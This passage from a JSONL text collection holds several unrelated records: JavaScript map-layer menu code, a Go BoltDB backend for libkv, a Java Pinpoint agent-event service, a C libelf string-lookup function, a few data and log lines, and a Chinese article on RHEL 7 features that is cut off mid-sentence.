os.ui.menu.layer.MENU;\n if (menu && !menu.getRoot().find(plugin.params.EventType.EDIT_PARAMS)) {\n var group = menu.getRoot().find(os.ui.menu.layer.GroupLabel.LAYER);\n if (group) {\n group.removeChild(plugin.params.EventType.EDIT_PARAMS);\n }\n }\n};\n\n\n/**\n * Test if an event context supports editing layer request parameters.\n *\n * @param {os.ui.menu.layer.Context} context The menu context.\n * @this {os.ui.menu.MenuItem}\n */\nplugin.params.menu.visibleIfSupported_ = function(context) {\n this.visible = false;\n\n // only allow editing parameters for one layer at a time\n if (context && context.length === 1) {\n var layers = os.ui.menu.layer.getLayersFromContext(context);\n if (layers && layers.length === 1 && layers[0] instanceof ol.layer.Layer) {\n this.visible = plugin.params.supportsParamOverrides(/** @type {!ol.layer.Layer} */ (layers[0]));\n }\n }\n};\n\n\n/**\n * Handle params event from the layer menu.\n *\n * @param {!os.ui.menu.MenuEvent} event The menu event.\n * @private\n */\nplugin.params.menu.handleLayerAction_ = function(event) {\n var layers = os.ui.menu.layer.getLayersFromContext(event.getContext());\n if (layers && layers.length === 1 && layers[0] instanceof ol.layer.Layer) {\n var layer = /** @type {!ol.layer.Layer} */ (layers[0]);\n var params = plugin.params.getParamsFromLayer(layer);\n plugin.params.launchParamsEdit(layer, params);\n } else {\n os.alertManager.sendAlert('Unexpected layer selection. Please select a single layer and try again.',\n os.alert.AlertEventSeverity.WARNING);\n }\n};\n"} +{"text": "package boltdb\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/docker/libkv\"\n\t\"github.com/docker/libkv/store\"\n\tbolt \"go.etcd.io/bbolt\"\n)\n\nvar (\n\t// ErrMultipleEndpointsUnsupported is thrown when multiple endpoints specified for\n\t// BoltDB. Endpoint has to be a local file path\n\tErrMultipleEndpointsUnsupported = errors.New(\"boltdb supports one endpoint and should be a file path\")\n\t// ErrBoltBucketOptionMissing is thrown when boltBcuket config option is missing\n\tErrBoltBucketOptionMissing = errors.New(\"boltBucket config option missing\")\n)\n\nconst (\n\tfilePerm os.FileMode = 0644\n)\n\n//BoltDB type implements the Store interface\ntype BoltDB struct {\n\tclient *bolt.DB\n\tboltBucket []byte\n\tdbIndex uint64\n\tpath string\n\ttimeout time.Duration\n\t// By default libkv opens and closes the bolt DB connection for every\n\t// get/put operation. This allows multiple apps to use a Bolt DB at the\n\t// same time.\n\t// PersistConnection flag provides an option to override ths behavior.\n\t// ie: open the connection in New and use it till Close is called.\n\tPersistConnection bool\n\tsync.Mutex\n}\n\nconst (\n\tlibkvmetadatalen = 8\n\ttransientTimeout = time.Duration(10) * time.Second\n)\n\n// Register registers boltdb to libkv\nfunc Register() {\n\tlibkv.AddStore(store.BOLTDB, New)\n}\n\n// New opens a new BoltDB connection to the specified path and bucket\nfunc New(endpoints []string, options *store.Config) (store.Store, error) {\n\tvar (\n\t\tdb *bolt.DB\n\t\terr error\n\t\tboltOptions *bolt.Options\n\t\ttimeout = transientTimeout\n\t)\n\n\tif len(endpoints) > 1 {\n\t\treturn nil, ErrMultipleEndpointsUnsupported\n\t}\n\n\tif (options == nil) || (len(options.Bucket) == 0) {\n\t\treturn nil, ErrBoltBucketOptionMissing\n\t}\n\n\tdir, _ := filepath.Split(endpoints[0])\n\tif err = os.MkdirAll(dir, 0750); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif options.PersistConnection {\n\t\tboltOptions = &bolt.Options{Timeout: options.ConnectionTimeout}\n\t\tdb, err = bolt.Open(endpoints[0], filePerm, boltOptions)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif options.ConnectionTimeout != 0 {\n\t\ttimeout = options.ConnectionTimeout\n\t}\n\n\tb := &BoltDB{\n\t\tclient: db,\n\t\tpath: endpoints[0],\n\t\tboltBucket: []byte(options.Bucket),\n\t\ttimeout: timeout,\n\t\tPersistConnection: options.PersistConnection,\n\t}\n\n\treturn b, nil\n}\n\nfunc (b *BoltDB) reset() {\n\tb.path = \"\"\n\tb.boltBucket = []byte{}\n}\n\nfunc (b *BoltDB) getDBhandle() (*bolt.DB, error) {\n\tvar (\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tif !b.PersistConnection {\n\t\tboltOptions := &bolt.Options{Timeout: b.timeout}\n\t\tif db, err = bolt.Open(b.path, filePerm, boltOptions); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tb.client = db\n\t}\n\n\treturn b.client, nil\n}\n\nfunc (b *BoltDB) releaseDBhandle() {\n\tif !b.PersistConnection {\n\t\tb.client.Close()\n\t}\n}\n\n// Get the value at \"key\". BoltDB doesn't provide an inbuilt last modified index with every kv pair. Its implemented by\n// by a atomic counter maintained by the libkv and appened to the value passed by the client.\nfunc (b *BoltDB) Get(key string) (*store.KVPair, error) {\n\tvar (\n\t\tval []byte\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn nil, err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\n\t\tv := bucket.Get([]byte(key))\n\t\tval = make([]byte, len(v))\n\t\tcopy(val, v)\n\n\t\treturn nil\n\t})\n\n\tif len(val) == 0 {\n\t\treturn nil, store.ErrKeyNotFound\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdbIndex := binary.LittleEndian.Uint64(val[:libkvmetadatalen])\n\tval = val[libkvmetadatalen:]\n\n\treturn &store.KVPair{Key: key, Value: val, LastIndex: (dbIndex)}, nil\n}\n\n//Put the key, value pair. index number metadata is prepended to the value\nfunc (b *BoltDB) Put(key string, value []byte, opts *store.WriteOptions) error {\n\tvar (\n\t\tdbIndex uint64\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tdbval := make([]byte, libkvmetadatalen)\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tbucket, err := tx.CreateBucketIfNotExists(b.boltBucket)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdbIndex = atomic.AddUint64(&b.dbIndex, 1)\n\t\tbinary.LittleEndian.PutUint64(dbval, dbIndex)\n\t\tdbval = append(dbval, value...)\n\n\t\terr = bucket.Put([]byte(key), dbval)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t})\n\treturn err\n}\n\n//Delete the value for the given key.\nfunc (b *BoltDB) Delete(key string) error {\n\tvar (\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\t\terr := bucket.Delete([]byte(key))\n\t\treturn err\n\t})\n\treturn err\n}\n\n// Exists checks if the key exists inside the store\nfunc (b *BoltDB) Exists(key string) (bool, error) {\n\tvar (\n\t\tval []byte\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn false, err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\n\t\tval = bucket.Get([]byte(key))\n\n\t\treturn nil\n\t})\n\n\tif len(val) == 0 {\n\t\treturn false, err\n\t}\n\treturn true, err\n}\n\n// List returns the range of keys starting with the passed in prefix\nfunc (b *BoltDB) List(keyPrefix string) ([]*store.KVPair, error) {\n\tvar (\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tkv := []*store.KVPair{}\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn nil, err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\n\t\tcursor := bucket.Cursor()\n\t\tprefix := []byte(keyPrefix)\n\n\t\tfor key, v := cursor.Seek(prefix); bytes.HasPrefix(key, prefix); key, v = cursor.Next() {\n\n\t\t\tdbIndex := binary.LittleEndian.Uint64(v[:libkvmetadatalen])\n\t\t\tv = v[libkvmetadatalen:]\n\t\t\tval := make([]byte, len(v))\n\t\t\tcopy(val, v)\n\n\t\t\tkv = append(kv, &store.KVPair{\n\t\t\t\tKey: string(key),\n\t\t\t\tValue: val,\n\t\t\t\tLastIndex: dbIndex,\n\t\t\t})\n\t\t}\n\t\treturn nil\n\t})\n\tif len(kv) == 0 {\n\t\treturn nil, store.ErrKeyNotFound\n\t}\n\treturn kv, err\n}\n\n// AtomicDelete deletes a value at \"key\" if the key\n// has not been modified in the meantime, throws an\n// error if this is the case\nfunc (b *BoltDB) AtomicDelete(key string, previous *store.KVPair) (bool, error) {\n\tvar (\n\t\tval []byte\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif previous == nil {\n\t\treturn false, store.ErrPreviousNotSpecified\n\t}\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn false, err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\n\t\tval = bucket.Get([]byte(key))\n\t\tif val == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\t\tdbIndex := binary.LittleEndian.Uint64(val[:libkvmetadatalen])\n\t\tif dbIndex != previous.LastIndex {\n\t\t\treturn store.ErrKeyModified\n\t\t}\n\t\terr := bucket.Delete([]byte(key))\n\t\treturn err\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn true, err\n}\n\n// AtomicPut puts a value at \"key\" if the key has not been\n// modified since the last Put, throws an error if this is the case\nfunc (b *BoltDB) AtomicPut(key string, value []byte, previous *store.KVPair, options *store.WriteOptions) (bool, *store.KVPair, error) {\n\tvar (\n\t\tval []byte\n\t\tdbIndex uint64\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tdbval := make([]byte, libkvmetadatalen)\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn false, nil, err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tvar err error\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\tif previous != nil {\n\t\t\t\treturn store.ErrKeyNotFound\n\t\t\t}\n\t\t\tbucket, err = tx.CreateBucket(b.boltBucket)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\t// AtomicPut is equivalent to Put if previous is nil and the Ky\n\t\t// doesn't exist in the DB.\n\t\tval = bucket.Get([]byte(key))\n\t\tif previous == nil && len(val) != 0 {\n\t\t\treturn store.ErrKeyExists\n\t\t}\n\t\tif previous != nil {\n\t\t\tif len(val) == 0 {\n\t\t\t\treturn store.ErrKeyNotFound\n\t\t\t}\n\t\t\tdbIndex = binary.LittleEndian.Uint64(val[:libkvmetadatalen])\n\t\t\tif dbIndex != previous.LastIndex {\n\t\t\t\treturn store.ErrKeyModified\n\t\t\t}\n\t\t}\n\t\tdbIndex = atomic.AddUint64(&b.dbIndex, 1)\n\t\tbinary.LittleEndian.PutUint64(dbval, b.dbIndex)\n\t\tdbval = append(dbval, value...)\n\t\treturn (bucket.Put([]byte(key), dbval))\n\t})\n\tif err != nil {\n\t\treturn false, nil, err\n\t}\n\n\tupdated := &store.KVPair{\n\t\tKey: key,\n\t\tValue: value,\n\t\tLastIndex: dbIndex,\n\t}\n\n\treturn true, updated, nil\n}\n\n// Close the db connection to the BoltDB\nfunc (b *BoltDB) Close() {\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif !b.PersistConnection {\n\t\tb.reset()\n\t} else {\n\t\tb.client.Close()\n\t}\n\treturn\n}\n\n// DeleteTree deletes a range of keys with a given prefix\nfunc (b *BoltDB) DeleteTree(keyPrefix string) error {\n\tvar (\n\t\tdb *bolt.DB\n\t\terr error\n\t)\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif db, err = b.getDBhandle(); err != nil {\n\t\treturn err\n\t}\n\tdefer b.releaseDBhandle()\n\n\terr = db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket(b.boltBucket)\n\t\tif bucket == nil {\n\t\t\treturn store.ErrKeyNotFound\n\t\t}\n\n\t\tcursor := bucket.Cursor()\n\t\tprefix := []byte(keyPrefix)\n\n\t\tfor key, _ := cursor.Seek(prefix); bytes.HasPrefix(key, prefix); key, _ = cursor.Next() {\n\t\t\t_ = bucket.Delete([]byte(key))\n\t\t}\n\t\treturn nil\n\t})\n\n\treturn err\n}\n\n// NewLock has to implemented at the library level since its not supported by BoltDB\nfunc (b *BoltDB) NewLock(key string, options *store.LockOptions) (store.Locker, error) {\n\treturn nil, store.ErrCallNotSupported\n}\n\n// Watch has to implemented at the library level since its not supported by BoltDB\nfunc (b *BoltDB) Watch(key string, stopCh <-chan struct{}) (<-chan *store.KVPair, error) {\n\treturn nil, store.ErrCallNotSupported\n}\n\n// WatchTree has to implemented at the library level since its not supported by BoltDB\nfunc (b *BoltDB) WatchTree(directory string, stopCh <-chan struct{}) (<-chan []*store.KVPair, error) {\n\treturn nil, store.ErrCallNotSupported\n}\n"} +{"text": "/*\r\n * Copyright 2015 NAVER Corp.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\npackage com.navercorp.pinpoint.web.service;\r\n\r\nimport com.navercorp.pinpoint.common.server.bo.event.AgentEventBo;\r\nimport com.navercorp.pinpoint.common.server.util.AgentEventMessageDeserializer;\r\nimport com.navercorp.pinpoint.common.server.util.AgentEventMessageDeserializerV1;\r\nimport com.navercorp.pinpoint.common.server.util.AgentEventType;\r\nimport com.navercorp.pinpoint.common.server.util.AgentEventTypeCategory;\r\nimport com.navercorp.pinpoint.common.util.ArrayUtils;\r\nimport com.navercorp.pinpoint.web.dao.AgentEventDao;\r\nimport com.navercorp.pinpoint.web.vo.AgentEvent;\r\nimport com.navercorp.pinpoint.web.vo.DurationalAgentEvent;\r\nimport com.navercorp.pinpoint.web.vo.Range;\r\nimport org.apache.commons.collections.CollectionUtils;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.springframework.stereotype.Service;\r\n\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.util.ArrayList;\r\nimport java.util.Collections;\r\nimport java.util.EnumSet;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.PriorityQueue;\r\nimport java.util.Set;\r\n\r\n/**\r\n * @author HyunGil Jeong\r\n * @author jaehong.kim - Add agentEventMessageDeserializerV1\r\n */\r\n@Service\r\npublic class AgentEventServiceImpl implements AgentEventService {\r\n\r\n private final Logger logger = LoggerFactory.getLogger(this.getClass());\r\n\r\n private final AgentEventDao agentEventDao;\r\n\r\n private final AgentEventMessageDeserializer agentEventMessageDeserializer;\r\n\r\n private final AgentEventMessageDeserializerV1 agentEventMessageDeserializerV1;\r\n\r\n public AgentEventServiceImpl(AgentEventDao agentEventDao, AgentEventMessageDeserializer agentEventMessageDeserializer, AgentEventMessageDeserializerV1 agentEventMessageDeserializerV1) {\r\n this.agentEventDao = Objects.requireNonNull(agentEventDao, \"agentEventDao\");\r\n this.agentEventMessageDeserializer = Objects.requireNonNull(agentEventMessageDeserializer, \"agentEventMessageDeserializer\");\r\n this.agentEventMessageDeserializerV1 = Objects.requireNonNull(agentEventMessageDeserializerV1, \"agentEventMessageDeserializerV1\");\r\n }\r\n\r\n @Override\r\n public List getAgentEvents(String agentId, Range range, int... excludeEventTypeCodes) {\r\n Objects.requireNonNull(agentId, \"agentId\");\r\n\r\n Set excludeEventTypes = EnumSet.noneOf(AgentEventType.class);\r\n for (int excludeEventTypeCode : excludeEventTypeCodes) {\r\n AgentEventType excludeEventType = AgentEventType.getTypeByCode(excludeEventTypeCode);\r\n if (excludeEventType != null) {\r\n excludeEventTypes.add(excludeEventType);\r\n }\r\n }\r\n List agentEventBos = this.agentEventDao.getAgentEvents(agentId, range, excludeEventTypes);\r\n List agentEvents = createAgentEvents(agentEventBos);\r\n agentEvents.sort(AgentEvent.EVENT_TIMESTAMP_ASC_COMPARATOR);\r\n return agentEvents;\r\n }\r\n\r\n @Override\r\n public AgentEvent getAgentEvent(String agentId, long eventTimestamp, int eventTypeCode) {\r\n Objects.requireNonNull(agentId, \"agentId\");\r\n if (eventTimestamp < 0) {\r\n throw new IllegalArgumentException(\"eventTimeTimestamp must not be less than 0\");\r\n }\r\n\r\n final AgentEventType eventType = AgentEventType.getTypeByCode(eventTypeCode);\r\n if (eventType == null) {\r\n throw new IllegalArgumentException(\"invalid eventTypeCode [\" + eventTypeCode + \"]\");\r\n }\r\n final boolean includeEventMessage = true;\r\n AgentEventBo agentEventBo = this.agentEventDao.getAgentEvent(agentId, eventTimestamp, eventType);\r\n if (agentEventBo != null) {\r\n return createAgentEvent(agentEventBo, includeEventMessage);\r\n }\r\n return null;\r\n }\r\n\r\n private List createAgentEvents(List agentEventBos) {\r\n if (CollectionUtils.isEmpty(agentEventBos)) {\r\n return Collections.emptyList();\r\n }\r\n List agentEvents = new ArrayList<>(agentEventBos.size());\r\n PriorityQueue durationalAgentEvents = new PriorityQueue<>(agentEventBos.size(), AgentEvent.EVENT_TIMESTAMP_ASC_COMPARATOR);\r\n for (AgentEventBo agentEventBo : agentEventBos) {\r\n if (agentEventBo.getEventType().isCategorizedAs(AgentEventTypeCategory.DURATIONAL)) {\r\n durationalAgentEvents.add(createDurationalAgentEvent(agentEventBo, false));\r\n } else {\r\n boolean hasMessage = !ArrayUtils.isEmpty(agentEventBo.getEventBody());\r\n agentEvents.add(createAgentEvent(agentEventBo, hasMessage));\r\n }\r\n }\r\n long durationStartTimestamp = DurationalAgentEvent.UNKNOWN_TIMESTAMP;\r\n while (!durationalAgentEvents.isEmpty()) {\r\n DurationalAgentEvent currentEvent = durationalAgentEvents.remove();\r\n if (durationStartTimestamp == DurationalAgentEvent.UNKNOWN_TIMESTAMP) {\r\n durationStartTimestamp = currentEvent.getEventTimestamp();\r\n }\r\n currentEvent.setDurationStartTimestamp(durationStartTimestamp);\r\n DurationalAgentEvent nextEvent = durationalAgentEvents.peek();\r\n if (nextEvent != null) {\r\n long nextEventTimestamp = nextEvent.getEventTimestamp();\r\n currentEvent.setDurationEndTimestamp(nextEventTimestamp);\r\n durationStartTimestamp = nextEventTimestamp;\r\n }\r\n agentEvents.add(currentEvent);\r\n }\r\n return agentEvents;\r\n }\r\n\r\n private AgentEvent createAgentEvent(AgentEventBo agentEventBo, boolean includeEventMessage) {\r\n AgentEvent agentEvent = new AgentEvent(agentEventBo);\r\n if (includeEventMessage) {\r\n agentEvent.setEventMessage(deserializeEventMessage(agentEventBo));\r\n }\r\n return agentEvent;\r\n }\r\n\r\n @Deprecated\r\n private DurationalAgentEvent createDurationalAgentEvent(AgentEventBo agentEventBo, boolean includeEventMessage) {\r\n DurationalAgentEvent durationalAgentEvent = new DurationalAgentEvent(agentEventBo);\r\n if (includeEventMessage) {\r\n durationalAgentEvent.setEventMessage(deserializeEventMessage(agentEventBo));\r\n }\r\n return durationalAgentEvent;\r\n }\r\n\r\n private Object deserializeEventMessage(AgentEventBo agentEventBo) {\r\n try {\r\n if (agentEventBo.getVersion() == 0) {\r\n return this.agentEventMessageDeserializer.deserialize(agentEventBo.getEventType(), agentEventBo.getEventBody());\r\n } else if (agentEventBo.getVersion() == AgentEventBo.CURRENT_VERSION) {\r\n return this.agentEventMessageDeserializerV1.deserialize(agentEventBo.getEventType(), agentEventBo.getEventBody());\r\n } else {\r\n throw new UnsupportedEncodingException(\"invalid version \" + agentEventBo.getVersion());\r\n }\r\n } catch (UnsupportedEncodingException e) {\r\n logger.warn(\"error deserializing event message\", e);\r\n return null;\r\n }\r\n }\r\n\r\n}\r\n"} +{"text": "Link a SQL Online\n\n\nhttps://rextester.com/l/sql_server_online_compiler\n"} +{"text": "version: 1\nn_points: 4\n{\n87.500 119.500\n87.500 267.500\n251.500 267.500\n251.500 119.500\n}\n"} +{"text": "/*-\n * Copyright (c) 2006,2008 Joseph Koshy\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n */\n\n#include \n\n#include \n#include \n\n#include \"_libelf.h\"\n\n#ifndef roundup2\n#define\troundup2(x, y)\t(((x)+((y)-1))&(~((y)-1))) /* if y is powers of two */\n#endif\n\nELFTC_VCSID(\"$Id$\");\n\n/*\n * Convert an ELF section#,offset pair to a string pointer.\n */\n\nchar *\nelf_strptr(Elf *e, size_t scndx, size_t offset)\n{\n\tElf_Scn *s;\n\tElf_Data *d;\n\tGElf_Shdr shdr;\n\tuint64_t alignment, count;\n\n\tif (e == NULL || e->e_kind != ELF_K_ELF) {\n\t\tLIBELF_SET_ERROR(ARGUMENT, 0);\n\t\treturn (NULL);\n\t}\n\n\tif ((s = elf_getscn(e, scndx)) == NULL ||\n\t gelf_getshdr(s, &shdr) == NULL)\n\t\treturn (NULL);\n\n\tif (shdr.sh_type != SHT_STRTAB ||\n\t offset >= shdr.sh_size) {\n\t\tLIBELF_SET_ERROR(ARGUMENT, 0);\n\t\treturn (NULL);\n\t}\n\n\td = NULL;\n\tif (e->e_flags & ELF_F_LAYOUT) {\n\n\t\t/*\n\t\t * The application is taking responsibility for the\n\t\t * ELF object's layout, so we can directly translate\n\t\t * an offset to a `char *' address using the `d_off'\n\t\t * members of Elf_Data descriptors.\n\t\t */\n\t\twhile ((d = elf_getdata(s, d)) != NULL) {\n\n\t\t\tif (d->d_buf == 0 || d->d_size == 0)\n\t\t\t\tcontinue;\n\n\t\t\tif (d->d_type != ELF_T_BYTE) {\n\t\t\t\tLIBELF_SET_ERROR(DATA, 0);\n\t\t\t\treturn (NULL);\n\t\t\t}\n\n\t\t\tif (offset >= d->d_off &&\n\t\t\t offset < d->d_off + d->d_size)\n\t\t\t\treturn ((char *) d->d_buf + offset - d->d_off);\n\t\t}\n\t} else {\n\t\t/*\n\t\t * Otherwise, the `d_off' members are not useable and\n\t\t * we need to compute offsets ourselves, taking into\n\t\t * account 'holes' in coverage of the section introduced\n\t\t * by alignment requirements.\n\t\t */\n\t\tcount = (uint64_t) 0;\t/* cumulative count of bytes seen */\n\t\twhile ((d = elf_getdata(s, d)) != NULL && count <= offset) {\n\n\t\t\tif (d->d_buf == NULL || d->d_size == 0)\n\t\t\t\tcontinue;\n\n\t\t\tif (d->d_type != ELF_T_BYTE) {\n\t\t\t\tLIBELF_SET_ERROR(DATA, 0);\n\t\t\t\treturn (NULL);\n\t\t\t}\n\n\t\t\tif ((alignment = d->d_align) > 1) {\n\t\t\t\tif ((alignment & (alignment - 1)) != 0) {\n\t\t\t\t\tLIBELF_SET_ERROR(DATA, 0);\n\t\t\t\t\treturn (NULL);\n\t\t\t\t}\n\t\t\t\tcount = roundup2(count, alignment);\n\t\t\t}\n\n\t\t\tif (offset < count) {\n\t\t\t\t/* offset starts in the 'hole' */\n\t\t\t\tLIBELF_SET_ERROR(ARGUMENT, 0);\n\t\t\t\treturn (NULL);\n\t\t\t}\n\n\t\t\tif (offset < count + d->d_size) {\n\t\t\t\tif (d->d_buf != NULL)\n\t\t\t\t\treturn ((char *) d->d_buf +\n\t\t\t\t\t offset - count);\n\t\t\t\tLIBELF_SET_ERROR(DATA, 0);\n\t\t\t\treturn (NULL);\n\t\t\t}\n\n\t\t\tcount += d->d_size;\n\t\t}\n\t}\n\n\tLIBELF_SET_ERROR(ARGUMENT, 0);\n\treturn (NULL);\n}\n"} +{"text": "Label 1 does not exist at func_0:0.\nLabel 1 does not exist at func_1:1.\nLabel 1 does not exist at func_2:2.\nLabel 1 does not exist at func_3:2."} +{"text": "RHEL 7值得注意的5个新特性\n================================================================================\n> RHEL 7 支持Docker容器,systemd,兼容微软的身份管理和支持高达500TB的XFS文件系统。\n\n![](http://www.infoworld.com/sites/infoworld.com/files/media/image/140.jpg)\n\n在前一个主版本发布3年之后,经过至少6个月的[公开测试][1],RHEL(Red Hat Enterprise Linux)版本7终于发布了。这次更新表明了红帽子公司对于在RHEL中添加最新的以企业和数据为中心的特性的兴趣。这里列举了其中5个最吸引人眼球的新特性。\n\n### 1. Docker ###\n\nRHEL 7中最大的新特性就是[紧密集成][2]了广受欢迎的应用程序虚拟化技术[Docker][3]。随着[Docker 1.0发布][4],把它集成到RHEL 7里正是恰逢其时。\n\n用Docker包装的应用程序可以独立于操作系统,所以它们可以在操作系统之间移植并且正常运行。RHEL 7打算尽可能高效地使用Docker,以防止应用程序竞争资源或者为使用哪种运行时环境而困惑。\n\n从RHEL的Docker路线图上的长期计划表来看,这可能会超越操作系统本身,发展成一系列的Docker容器,它可以支持用最小的开销部署一个系统。这个被称为\"[Atomic项目][5]\"的计划还处于早期阶段,红帽公司准备首先将它部署在他的Fedora Linux发行版,仅仅当做对前沿技术的测试。\n\n### 2. Systemd ###\n\n引入systemd进程管理器可能引起系统管理员和Linux专家之间激烈的争论。systemd就被开发用于替代自专用Unix出现以来就在使用的init系统,它使得启动过程中装载服务更加高效。\n\n因为systemd可能会带来一些不适,红帽公司没有马上在RHEL上使用systemd。早在2010发布的Fedora版本15就已经包含了systemd作为默认项目,这给了红帽公司一次很好的了解systemd在真实世界的运行的经验。同样,systemd也没有孤立地加入RHEL 7,而是作为这个OS大计划的一部分。例如,红帽公司希望通过使用systemd加强对RHEL 7中Docker容器的支持。\n\n### 3. 默认使用 XFS ###\n\n第3个主要的改变是使XFS成为RHEL默认的文件系统,尽管这可能不那么引人瞩目。\n\n最初由Silicon Graphics International(硅谷图形公司)创建的XFS在Linux系统上用做生产环境已经很长时间了。在RHEL 7上它将支持高达500TB的文件系统。RHEL 6默认使用ext4,尽管它有XFS选项。红帽子的竞争对手Suse Linux [也支持XFS][6],尽管它安装时[默认使用ext3][7]。\n\n非常不幸的是,没有真正的方法可以将RHEL目前使用的其他文件系统,比如ext4或者btrfs移植到XFS。只能备份然后重建(来进行移植)。\n\n### 4. 兼容微软的身份管理 ###\n\n就算是那些不是微软系统粉丝的管理员也对微软目录服务保持一定的尊重。RHEL 7添加了两个关键的特性以优化处理微软目录服务(AD)的方式。跨域认证现在可以在RHEL 7和微软目录服务之间建立,所以目录服务用户可以直接访问Linux侧的资源,不需要再进行一次登录。RHEL 7另一个目录服务相关的附加特性,是基于DNS信息自动发现和加入目录服务(或者其他红帽子认证服务)。\n\n### 5. 性能监控(PCP:Performance Co-Pilot) ###\n\n进行性能调整的时候看不到实时数据就像是开着一辆挡风玻璃被刷上了油漆的车,所以RHEL 7添加了一个新的性能监控系统PCP([Performance Co-Pilot][8]),PCP最初由Silicon Graphics International(硅谷图形)[创建][9],但是现在它是RHEL 7的一部分。除了监控和记录系统状态,PCP还为其他子系统提供获取数据的API和工具集,比如正如你猜到的,刚刚介绍的systemd。\n\n遵循这个思路,另一个次要的附加特性:新的性能配置文件。RHEL 